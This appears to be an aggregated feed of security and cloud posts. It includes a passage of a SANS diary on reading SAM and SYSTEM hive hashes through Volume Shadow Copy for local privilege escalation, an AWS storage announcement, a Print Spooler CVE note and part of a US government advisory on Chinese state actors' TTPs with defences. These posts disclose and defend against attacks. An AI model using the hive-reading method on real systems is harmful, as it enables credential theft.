As you can see here, the BUILTINUsers group has (RX) permission which stands for read and execute access; (I) says it’s inherited.
What does this mean? Well, since the SAM and SYSTEM hives are really important, by reading them we can retrieve hashes of all local accounts on the system. And by having the hash of a local administrator we have Local Privilege Escalation being served to us on a silver (pun intended) plate.

The only issue here is how do we read those files: when Windows are running, the access to the files is locked and even though we have read permission, we won’t be able to read them.

As two great researchers found (@jonasLyk and @gentilkiwi), we can actually abuse Volume Shadow Copy to read the files. VSS will allow us to bypass the file being locked, and since we have legitimate read access, there’s nothing preventing us from reading the file.

VSS is a feature that is enabled automatically on Windows and that allows us to restore previous copies in case something got messed up during installation of a new application or patch, for example. If your system disk is greater than 128 GB, it will be enabled automatically!

Now, as a standard user (without local administrator privileges), one cannot check what VSS copies exist, so let’s see what can be done.
First, if you do have local administrator privileges, you can check VSS status either through the GUI (System Properties -> System Protection), or by executing the vssadmin command (through an elevated command prompt) – both examples shown below:

As shown above, I have one VSS with the path of ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1. And due to incorrect permissions set on the SYSTEM and SAM hives, I can now simply try to copy these files from the VSS. While the built-in copy command will not work, there are other ways to do this – @gentilkiwi used Mimikatz (of course ?), and below is a simple C program compiled that literally takes one argument and copies the file to destination (thanks to my colleague @filip_dragovic for help):

Notice that the builtin copy command failed.

What if you don’t know which VSS copy you have? Don’t worry – Windows actually increments the number at the end, so just brute force them!
With the SYSTEM and SAM hives in your possession you can dump password hashes of other local users, possible machine hashes and all sorts of other things. Summer of SAM indeed!

Mitigation

To be honest – I’m not sure what’s the best way to mitigate this currently, apart from disabling/removing VSS copies. Keep in mind that the permission on the hives will still be wrong, but at least a non-privileged user will not be able to easily fetch these files due to them being locked by Windows as the system is running.

We’ll be keeping an eye on this, of course, if you have any additional information let us know!


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Amazon EBS io2 Block Express Volumes with Amazon EC2 R5b Instances Are Now Generally Available

This post was originally published on this site

At AWS re:Invent 2020, we previewed Amazon EBS io2 Block Express volumes, the next-generation server storage architecture that delivers the first SAN built for the cloud. Block Express is designed to meet the requirements of the largest, most I/O-intensive, mission-critical deployments of Microsoft SQL Server, Oracle, SAP HANA, and SAS Analytics on AWS.

Today, I am happy to announce the general availability of Amazon EBS io2 Block Express volumes, with Amazon EC2 R5b instances powered by the AWS Nitro System to provide the best network-attached storage performance available on EC2. The io2 Block Express volumes now also support io2 features such as Multi-Attach and Elastic Volumes.

In the past, customers had to stripe multiple volumes together in order go beyond single-volume performance. Today, io2 volumes can meet the needs of mission-critical performance-intensive applications without striping and the management overhead that comes along with it. With io2 Block Express, customers can get the highest performance block storage in the cloud with four times higher throughput, IOPS, and capacity than io2 volumes with sub-millisecond latency, at no additional cost.

Here is a summary of the use cases and characteristics of the key Solid State Drive (SSD)-backed EBS volumes:

General Purpose SSD Provisioned IOPS SSD
Volume type gp2 gp3 io2 io2 Block Express
Durability 99.8%-99.9% durability 99.999% durability
Use cases General applications, good to start with when you do not fully understand the performance profile yet I/O-intensive applications and databases Business-critical applications and databases that demand highest performance
Volume size 1 GiB – 16 TiB 4 GiB – 16 TiB 4 GiB – 64 TiB
Max IOPS 16,000 64,000 ** 256,000
Max throughput 250 MiB/s * 1,000 MiB/s 1,000 MiB/s ** 4,000 MiB/s

* The throughput limit is between 128 MiB/s and 250 MiB/s, depending on the volume size.
** Maximum IOPS and throughput are guaranteed only on instances built on the Nitro System provisioned with more than 32,000 IOPS.

The new Block Express architecture delivers the highest levels of performance with sub-millisecond latency by communicating with an AWS Nitro System-based instance using the Scalable Reliable Datagrams (SRD) protocol, which is implemented in the Nitro Card dedicated for EBS I/O function on the host hardware of the instance. Block Express also offers modular software and hardware building blocks that can be assembled in many ways, giving you the flexibility to design and deliver improved performance and new features at a faster rate.

Getting Started with io2 Block Express Volumes
You can now create io2 Block Express volumes in the Amazon EC2 console, AWS Command Line Interface (AWS CLI), or using an SDK with the Amazon EC2 API when you create R5b instances.

After you choose the EC2 R5b instance type, on the Add Storage page, under Volume Type, choose Provisioned IOPS SSD (io2). Your new volumes will be created in the Block Express format.

Things to Know
Here are a couple of things to keep in mind:

  • You can’t modify the size or provisioned IOPS of an io2 Block Express volume.
  • You can’t launch an R5b instance with an encrypted io2 Block Express volume that has a size greater than 16 TiB or IOPS greater than 64,000 from an unencrypted AMI or a shared encrypted AMI. In this case, you must first create an encrypted AMI in your account and then use that AMI to launch the instance.
  • io2 Block Express volumes do not currently support fast snapshot restore. We recommend that you initialize these volumes to ensure that they deliver full performance. For more information, see Initialize Amazon EBS volumes in Amazon EC2 User Guide.

Available Now
The io2 Block Express volumes are available in all AWS Regions where R5b instances are available: US East (Ohio), US East (N. Virginia), US West (Oregon), Asia Pacific (Singapore), Asia Pacific (Tokyo), Europe (Frankfurt), with support for more AWS Regions coming soon. We plan to allow EC2 instances of all types to connect to io2 Block Volumes, and will have updates on this later in the year.

In terms of pricing and billing, io2 volumes and io2 Block Express volumes are billed at the same rate. Usage reports do not distinguish between io2 Block Express volumes and io2 volumes. We recommend that you use tags to help you identify costs associated with io2 Block Express volumes. For more information, see the Amazon EBS pricing page.

To learn more, visit the EBS Provisioned IOPS Volume page and io2 Block Express Volumes in the Amazon EC2 User Guide.

Channy

New Windows Print Spooler Vulnerability – CVE-2021-34481, (Mon, Jul 19th)

This post was originally published on this site

A new, unpatched, vulnerability has been discovered in the Windows Print Spooler and is being tracked under CVE-2021-34481.  Discovered by Jacob Baines at Dragos, this one requires local access, so it is less of a nightmare than PrintNightmare, but unfortunately the result of exploitation is SYSTEM level privileges.

Unfortunately, the workaround is the same; Stop and disable the Print Spooler service, which, of course, will disable the ability to print, both locally, and remotely.

It appears that Jacob will not be providing more details until Def Con.

At this point there is no indication of whether or not Microsoft will be releasing an out of band patch for this vulnerability.

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA21-200B: Chinese State-Sponsored Cyber Operations: Observed TTPs

This post was originally published on this site

Original release date: July 19, 2021

Summary

This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9, and MITRE D3FEND™ framework, version 0.9.2-BETA-3. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques and the D3FEND framework for referenced defensive tactics and techniques.

The National Security Agency, Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China state-sponsored malicious cyber activity is a major threat to U.S. and Allied cyberspace assets. Chinese state-sponsored cyber actors aggressively target U.S. and allied political, economic, military, educational, and critical infrastructure (CI) personnel and organizations to steal sensitive data, critical and emerging key technologies, intellectual property, and personally identifiable information (PII). Some target sectors include managed service providers, semiconductor companies, the Defense Industrial Base (DIB), universities, and medical institutions. These cyber operations support China’s long-term economic and military development objectives.

This Joint Cybersecurity Advisory (CSA) provides information on tactics, techniques, and procedures (TTPs) used by Chinese state-sponsored cyber actors. This advisory builds on previous NSA, CISA, and FBI reporting to inform federal, state, local, tribal, and territorial (SLTT) government, CI, DIB, and private industry organizations about notable trends and persistent TTPs through collaborative, proactive, and retrospective analysis.

To increase the defensive posture of their critical networks and reduce the risk of Chinese malicious cyber activity, NSA, CISA, and FBI urge government, CI, DIB, and private industry organizations to apply the recommendations listed in the Mitigations section of this advisory and in Appendix A: Chinese State-sponsored Cyber Actors’ Observed Procedures. Note: NSA, CISA, and FBI encourage organization leaders to review CISA Joint Insights: Chinese Malicious Cyber Activity: Threat Overview for Leaders for information on this threat to their organization.

Click here for a PDF version of this report.

Technical Details

Trends in Chinese State-Sponsored Cyber Operations

NSA, CISA, and FBI have observed increasingly sophisticated Chinese state-sponsored cyber activity targeting U.S. political, economic, military, educational, and CI personnel and organizations. NSA, CISA, and FBI have identified the following trends in Chinese state-sponsored malicious cyber operations through proactive and retrospective analysis:

  • Acquisition of Infrastructure and Capabilities. Chinese state-sponsored cyber actors remain agile and cognizant of the information security community’s practices. These actors take effort to mask their activities by using a revolving series of virtual private servers (VPSs) and common open-source or commercial penetration tools.

  • Exploitation of Public Vulnerabilities. Chinese state-sponsored cyber actors consistently scan target networks for critical and high vulnerabilities within days of the vulnerability’s public disclosure. In many cases, these cyber actors seek to exploit vulnerabilities in major applications, such as Pulse Secure, Apache, F5 Big-IP, and Microsoft products. For information on Common Vulnerabilities and Exposures (CVE) known to be exploited by malicious Chinese state-sponsored cyber actors, see:

  • Encrypted Multi-Hop Proxies. Chinese state-sponsored cyber actors have been routinely observed using a VPS as an encrypted proxy. The cyber actors use the VPS as well as small office and home office (SOHO) devices as operational nodes to evade detection.

Observed Tactics and Techniques

Chinese state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest worldwide and to acquire sensitive intellectual property, economic, political, and military information. Appendix B: MITRE ATT&CK Framework lists the tactics and techniques used by Chinese state-sponsored cyber actors. A downloadable JSON file is also available on the NSA Cybersecurity GitHub page.

Refer to Appendix A: Chinese State-Sponsored Cyber Actors’ Observed Procedures for information on procedures affiliated with these tactics and techniques as well as applicable mitigations.

Figure 1: Example of tactics and techniques used in various cyber operations.

 

Mitigations

NSA, CISA, and FBI urge federal and SLTT government, CI, DIB, and private industry organizations to apply the following recommendations as well as the detection and mitigation recommendations in Appendix A, which are tailored to observed tactics and techniques:

  • Patch systems and equipment promptly and diligently. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally facing equipment and CVEs known to be exploited by Chinese state-sponsored cyber actors. Consider implementing a patch management program that enables a timely and thorough patching cycle.
    Note: for more information on CVEs routinely exploited by Chinese state-sponsored cyber actors refer to the resources listed in the Trends in Chinese State-Sponsored Cyber Operations section.

  • Enhance monitoring of network traffic, email, and endpoint systems. Review network signatures and indicators for focused activities, monitor for new phishing themes, and adjust email rules accordingly. Follow the best practices of restricting attachments via email and blocking URLs and domains based upon reputation. Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse. Monitor common ports and protocols for command and control (C2) activity. SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols. Implement and enhance network and endpoint event analysis and detection capabilities to identify initial infections, compromised credentials, and the manipulation of endpoint processes and files.
  • Use protection capabilities to stop malicious activity. Implement anti-virus software and other endpoint protection capabilities to automatically detect and prevent malicious files from executing. Use a network intrusion detection and prevention system to identify and prevent commonly employed adversarial malware and limit nefarious data transfers. Use a domain reputation service to detect suspicious or malicious domains. Use strong credentials for service accounts and multi-factor authentication (MFA) for remote access to mitigate an adversary’s ability to leverage stolen credentials, but be aware of MFA interception techniques for some MFA implementations.▪

Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/ for previous reporting on Chinese state-sponsored malicious cyber activity.

Disclaimer of Endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed by NSA, CISA, and FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.

Trademark Recognition

MITRE and ATT&CK are registered trademarks of The MITRE Corporation. • D3FEND is a trademark of The MITRE Corporation. • Microsoft, Microsoft Exchange, Office 365, Microsoft Office, OneDrive, Outlook, OWA, PowerShell, Windows Defender, and Windows are registered trademarks of Microsoft Corporation. • Pulse Secure is a registered trademark of Pulse Secure, LLC. • Apache is a registered trademark of Apache Software Foundation. • F5 and BIG-IP are registered trademarks of F5 Networks. • Cobalt Strike is a registered trademark of Strategic Cyber LLC. • GitHub is a registered trademark of GitHub, Inc. • JavaScript is a registered trademark of Oracle Corporation. • Python is a registered trademark of Python Software Foundation. • Unix is a registered trademark of The Open Group. • Linux is a registered trademark of Linus Torvalds. • Dropbox is a registered trademark of Dropbox, Inc.

APPENDIX A: Chinese State-Sponsored Cyber Actors’ Observed Procedures

Note: D3FEND techniques are based on the Threat Actor Procedure(s) and may not match automated mappings to ATT&CK techniques and sub-techniques.

Tactics: Reconnaissance [TA0043]    

Table 1: Chinese state-sponsored cyber actors’ Reconnaissance TTPs with detection and mitigation recommendations

Threat Actor
Technique / Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Active Scanning [T1595

Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft® 365 (M365), formerly Office® 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python® scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.

Minimize the amount and sensitivity of data available to external parties, for example: 

  • Scrub user email addresses and contact lists from public websites, which can be used for social engineering, 

  • Share only necessary data and information with third parties, and 

  • Monitor and limit third-party access to the network. 

Active scanning from cyber actors may be identified by monitoring network traffic for sources associated with botnets, adversaries, and known bad IPs based on threat intelligence.

Detect: 

  • Network Traffic Analysis

    • Connection Attempt Analysis [D3-CAA]

Isolate: 

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Gather Victim Network Information [T1590]

 

Tactics: Resource Development [TA0042]

Table II: Chinese state-sponsored cyber actors’ Resource Development TTPs with detection and mitigation recommendations

Threat Actor
Technique / Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Acquire Infrastructure [T1583]

 

Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.

 

Adversary activities occurring outside the organization’s boundary of control and view makes mitigation difficult. Organizations can monitor for unexpected network traffic and data flows to and from VPSs and correlate other suspicious activity that may indicate an active threat.

 

N/A

Stage Capabilities [T1608]

Obtain Capabilities [T1588]: 

Chinese state-sponsored cyber actors have been observed using Cobalt Strike® and tools from GitHub® on victim networks. 

Organizations may be able to identify malicious use of Cobalt Strike by:

  • Examining network traffic using Transport Layer Security (TLS) inspection to identify Cobalt Strike. Look for human generated vice machine-generated traffic, which will be more uniformly distributed. 

  • Looking for the default Cobalt Strike TLS certificate. 

  • Look at the user agent that generates the TLS traffic for discrepancies that may indicate faked and malicious traffic.

  • Review the traffic destination domain, which may be malicious and an indicator of compromise.

  • Look at the packet’s HTTP host header. If it does not match with the destination domain, it may indicate a fake Cobalt Strike header and profile.

  • Check the Uniform Resource Identifier (URI) of the flow to see if it matches one associated with Cobalt Strike’s malleable C2 language. If discovered, additional recovery and investigation will be required.

 

N/A

Tactics: Initial Access [TA0001]

Table III: Chinese state-sponsored cyber actors’ Initial Access TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Detection and Mitigation Recommendations

Drive By Compromise [T1189]

Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.

  • Ensure all browsers and plugins are kept up to date.
  • Use modern browsers with security features turned on.
  • Restrict the use of unneeded websites, block unneeded downloads/attachments, block unneeded JavaScript®, restrict browser extensions, etc.
  • Use adblockers to help prevent malicious code served through advertisements from executing. 
  • Use script blocking extensions to help prevent the execution of unneeded JavaScript, which may be used during exploitation processes. 
  • Use browser sandboxes or remote virtual environments to mitigate browser exploitation.
  • Use security applications that look for behavior used during exploitation, such as Windows Defender® Exploit Guard (WDEG).

Detect: 

  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • File Analysis
    • Dynamic Analysis [D3-DA]

Isolate: 

  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Executable Allowlisting [D3-EAL]
  • Network Isolation

Exploit Public-Facing Application [T1190]

Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems.[1] For information on vulnerabilities known to be exploited by Chinese state-sponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources.
Chinese state-sponsored cyber actors have also been observed:

  • Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange® Outlook Web Access (OWA®) and plant webshells.

  • Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.

  • Deploying a public proof of concept (POC) exploit targeting a public-facing appliance vulnerability.

Review previously published alerts and advisories from NSA, CISA, and FBI, and diligently patch vulnerable applications known to be exploited by cyber actors. Refer to the Trends in Chinese State-Sponsored Cyber Operations section for a non-inclusive list of resources.

Additional mitigations include:

  • Consider implementing Web Application Firewalls (WAF), which can prevent exploit traffic from reaching an application.
  • Segment externally facing servers and services from the rest of the network with a demilitarized zone (DMZ).
  • Use multi-factor authentication (MFA) with strong factors and require regular re-authentication.
  • Disable protocols using weak authentication.
  • Limit access to and between cloud resources with the desired state being a Zero Trust model. For more information refer to NSA Cybersecurity Information Sheet: [Embracing a Zero Trust Security Model].
  • When possible, use cloud-based access controls on cloud resources (e.g., cloud service provider (CSP)-managed authentication between virtual machines).
  • Use automated tools to audit access logs for security concerns.
  • Where possible, enforce MFA for password resets.
  • Do not include Application Programing Interface (API) keys in software version control systems where they can be unintentionally leaked.

Harden:

  • Application Hardening [D3-AH]
  • Platform Hardening
    • Software Update [D3-SU]

Detect:

  • File Analysis [D3-FA
  • Network Traffic Analysis
    • Client-server Payload Profiling [D3-CSPP]
  • Process Analysis 
    • Process Spawn Analysis
    • Process Lineage Analysis [D3-PLA]

Isolate: 

  • Network Isolation
    • Inbound Traffic Filtering [D3-ITF]

Phishing [T1566]: 

Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns. These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures. 
These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading. These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment. 

  • Implement a user training program and simulated spearphishing emails to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails. Quarantine suspicious files with antivirus solutions.
  • Use a network intrusion prevention system (IPS) to scan and remove malicious email attachments.
  • Block uncommon file types in emails that are not needed by general users (.exe, .jar,.vbs)
  • Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using Sender Policy Framework [SPF]) and integrity of messages (using Domain Keys Identified Mail [DKIM]). Enabling these mechanisms within an organization (through policies such as Domain-based Message Authentication, Reporting, and Conformance [DMARC]) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.
  • Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
  • Prevent users from clicking on malicious links by stripping hyperlinks or implementing “URL defanging” at the Email Security Gateway or other email security tools.
  • Add external sender banners to emails to alert users that the email came from an external sender.

Harden: 

  • Message Hardening
    • Message Authentication [D3-MAN]
    • Transfer Agent Authentication [D3-TAAN]

Detect: 

  • File Analysis
    • Dynamic Analysis [D3-DA]
  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • Message Analysis
    • Sender MTA Reputation Analysis [D3-SMRA]
    • Sender Reputation Analysis [D3-SRA]
       

External Remote Services [T1133]

Chinese state-sponsored cyber actors have been observed:

  • Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.

  • Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).

  • Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm

Note: refer to the references listed above in Exploit Public-Facing Application [T1190] for information on CVEs known to be exploited by malicious Chinese cyber actors.

Note: this technique also applies to Persistence [TA0003].

  • Many exploits can be mitigated by applying available patches for vulnerabilities (such as CVE-2019-11510, CVE-2019-19781, and CVE-2020-5902) affecting external remote services.
  • Reset credentials after virtual private network (VPN) devices are upgraded and reconnected to the external network.
  • Revoke and generate new VPN server keys and certificates (this may require redistributing VPN connection information to users).
  • Disable Remote Desktop Protocol (RDP) if not required for legitimate business functions.
  • Restrict VPN traffic to and from managed service providers (MSPs) using a dedicated VPN connection.
  • Review and verify all connections between customer systems, service provider systems, and other client enclaves.

Harden:

  • Software Update [D3-SU]

Detect:

  • Network Traffic Analysis
    • Connection Attempt Analysis [D3-CAA]
  • Platform Monitoring [D3-PM]
  • Process Analysis
    • Process Spawn Analysis [D3-SPA
      • Process Lineage Analysis [D3-PLA]

Valid Accounts [T1078]:

Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.

Note: this technique also applies to Persistence [TA0003], Privilege Escalation [TA0004], and Defense Evasion [TA0005].

  • Adhere to best practices for password and permission management.
  • Ensure that MSP accounts are not assigned to administrator groups and restrict those accounts to only systems they manage 
  • Do not store credentials or sensitive data in plaintext.
  • Change all default usernames and passwords.
  • Routinely update and secure applications using Secure Shell (SSH). 
  • Update SSH keys regularly and keep private keys secure.
  • Routinely audit privileged accounts to identify malicious use.

Harden: 

  • Credential Hardening
    • Multi-factor Authentication [D3-MFA]

Detect:

  • User Behavior Analysis [D3-UBA]
    • Authentication Event Thresholding [D3-ANET
    • Job Function Access Pattern Analysis [D3-JFAPA]

Tactics: Execution [TA0002]

Table IV: Chinese state-sponsored cyber actors’ Execution TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Command and Scripting Interpreter [T1059]: 

Chinese state-sponsored cyber actors have been observed:

  • Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).

  • Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network. 

  • Employing Python scripts to exploit vulnerable servers.

  • Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux® servers in the victim network.

PowerShell

  • Turn on PowerShell logging. (Note: this works better in newer versions of PowerShell. NSA, CISA, and FBI recommend using version 5 or higher.)

  • Push Powershell logs into a security information and event management (SIEM) tool.

  • Monitor for suspicious behavior and commands. Regularly evaluate and update blocklists and allowlists.

  • Use an antivirus program, which may stop malicious code execution that cyber actors attempt to execute via PowerShell.

  • Remove PowerShell if it is not necessary for operations. 

  • Restrict which commands can be used.

Windows Command Shell

  • Restrict use to administrator, developer, or power user systems. Consider its use suspicious and investigate, especially if average users run scripts. 

  • Investigate scripts running out of cycle from patching or other administrator functions if scripts are not commonly used on a system, but enabled. 

  • Monitor for and investigate other unusual or suspicious scripting behavior. 

Unix

  • Use application controls to prevent execution.

  • Monitor for and investigate unusual scripting behavior. Use of the Unix shell may be common on administrator, developer, or power user systems. In this scenario, normal users running scripts should be considered suspicious. 

  • If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions should be considered suspicious. 

Python

  • Audit inventory systems for unauthorized Python installations.

  • Blocklist Python where not required.

  • Prevent users from installing Python where not required.

JavaScript

  • Turn off or restrict access to unneeded scripting components.

  • Blocklist scripting where appropriate.

  • For malicious code served up through ads, adblockers can help prevent that code from executing.

Network Device Command Line Interface (CLI)

  • Use TACACS+ to keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization.

  • Use an authentication, authorization, and accounting (AAA) systems to limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse.

  • Ensure least privilege principles are applied to user accounts and groups.

Harden: 

  • Platform Hardening [D3-PH]

Detect: 

  • Process Analysis

    • Script Execution Analysis [D3-SEA]

Isolate:

  • Execution Isolation

    • Executable Allowlisting [D3-EAL]

Scheduled Task/Job [T1053]

Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.

Note: this technique also applies to Persistence [TA0003] and Privilege Escalation [TA0004].

•    Monitor scheduled task creation from common utilities using command-line invocation and compare for any changes that do not correlate with known software, patch cycles, or other administrative activity.
•    Configure event logging for scheduled task creation and monitor process execution from svchost.exe (Windows 10) and Windows Task Scheduler (Older version of Windows) to look for changes in %systemroot%System32Tasks that do not correlate with known software, patch cycles, or other administrative activity. Additionally monitor for any scheduled tasks created via command line utilities—such as PowerShell or Windows Management Instrumentation (WMI)—that do not conform to typical administrator or user actions. 

Detect: 

  • Platform Monitoring
    • Operating System Monitoring [D3-OSM]
      • Scheduled Job Analysis [D3-SJA]
      • System Daemon Monitoring [D3-SDM]
      • System File Analysis [D3-SFA]

Isolate: 

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

User Execution [T1204]

Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience. These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.

  • Use an antivirus program, which may stop malicious code execution that cyber actors convince users to attempt to execute.
  • Prevent unauthorized execution by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
  • Use a domain reputation service to detect and block suspicious or malicious domains.
  • Determine if certain categories of websites are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
  • Ensure all browsers and plugins are kept up to date.
  • Use modern browsers with security features turned on.
  • Use browser and application sandboxes or remote virtual environments to mitigate browser or other application exploitation.

Detect: 

  • File Analysis
  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • Network Traffic Analysis

Isolate: 

  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Executable Allowlisting [D3-EAL]
  • Network Isolation

Tactics: Persistence [TA0003]

Table V: Chinese state-sponsored cyber actors’ Persistence TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Hijack Execution Flow [T1574]: 

Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) load-order hijacking to activate the malware installation process. 

Note: this technique also applies to Privilege Escalation [TA0004] and Defense Evasion [TA0005].

  • Disallow loading of remote DLLs.
  • Enable safe DLL search mode.
  • Implement tools for detecting search order hijacking opportunities.
  • Use application allowlisting to block unknown DLLs.
  • Monitor the file system for created, moved, and renamed DLLs.
  • Monitor for changes in system DLLs not associated with updates or patches.
  • Monitor DLLs loaded by processes (e.g., legitimate name, but abnormal path).

Detect: 

  • Platform Monitoring
    • Operating System Monitoring
      • Service Binary Verification [D3-SBV]
  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA]

Isolate: 

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Modify Authentication Process [T1556]

  • Domain Controller Authentication [T1556.001]

Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.
Note: this technique also applies to Defense Evasion [TA0005] and Credential Access [TA0006].

  • Monitor for policy changes to authentication mechanisms used by the domain controller. 
  • Monitor for modifications to functions exported from authentication DLLs (such as cryptdll.dll and samsrv.dll).
  • Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. 
  • Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts (for example, one account logged into multiple systems simultaneously, multiple accounts logged into the same machine simultaneously, accounts logged in at odd times or outside of business hours). 
  • Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
  • Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for and correlate changes to Registry entries.

Detect: 

  • Process Analysis [D3-PA]
  • User Behavior Analysis
    • Authentication Event Thresholding [D3-ANET]
    • User Geolocation Logon Pattern Analysis [D3-UGLPA]  

Server Software Component [T1505]: 

Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks. 

  • Use Intrusion Detection Systems (IDS) to monitor for and identify China Chopper traffic using IDS signatures.
  • Monitor and search for predictable China Chopper shell syntax to identify infected files on hosts.
  • Perform integrity checks on critical servers to identify and investigate unexpected changes.
  • Have application developers sign their code using digital signatures to verify their identity.
  • Identify and remediate web application vulnerabilities or configuration weaknesses. Employ regular updates to applications and host operating systems.
  • Implement a least-privilege policy on web servers to reduce adversaries’ ability to escalate privileges or pivot laterally to other hosts and control creation and execution of files in particular directories.
  • If not already present, consider deploying a DMZ between web-facing systems and the corporate network. Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.
  • Ensure secure configuration of web servers. All unnecessary services and ports should be disabled or blocked. Access to necessary services and ports should be restricted, where feasible. This can include allowlisting or blocking external access to administration panels and not using default login credentials.
  • Use a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones.
  • Establish, and backup offline, a “known good” version of the relevant server and a regular change management policy to enable monitoring for changes to servable content with a file integrity system.
  • Employ user input validation to restrict exploitation of vulnerabilities.
  • Conduct regular system and application vulnerability scans to establish areas of risk. While this method does not protect against zero-day exploits, it will highlight possible areas of concern.
  • Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.

Detect: 

  • Network Traffic Analysis
    • Client-server Payload Profiling [D3-CSPP]
    • Per Host Download-Upload Ratio Analysis [D3-PHDURA]
  • Process Analysis 
    • Process Spawn Analysis
